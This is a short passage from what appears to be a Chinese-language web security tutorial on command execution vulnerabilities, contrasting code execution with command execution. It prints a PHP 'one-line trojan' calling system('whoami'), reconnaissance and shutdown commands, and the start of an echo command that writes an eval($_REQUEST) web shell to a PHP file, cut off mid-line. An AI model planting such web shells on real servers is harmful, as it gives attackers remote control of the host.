一、命令执行漏洞原理
用户输入的数据被当做系统命令进行执行
# 此一句话木马的本质是命令执行漏洞
# whoami显示登录名
# net user查看用户
# shutdown -t 0 -s关机
<?php system('whoami');?>
代码执行:用户输入的数据被当作后端代码执行
命令执行:用户输入的数据被当作系统命令执行
因为代码执行可以调用命令执行的函数,所以大部分代码执行都可以调用系统命令,菜刀的终端操作也是利用了命令执行的函数,但是命令执行却不能够利用代码执行,当然,命令执行也可以用写文件的方法获得Webshell,从而利用代码执行
# 在cmd命令中执行以下命令,可以写入文件
# echo是输入内容
# >123.php是将内容写入123.php
# 尖括号对于echo来说是一个关键词,所以用双引号括起来
echo "<?php eval($_REQUEST[8]</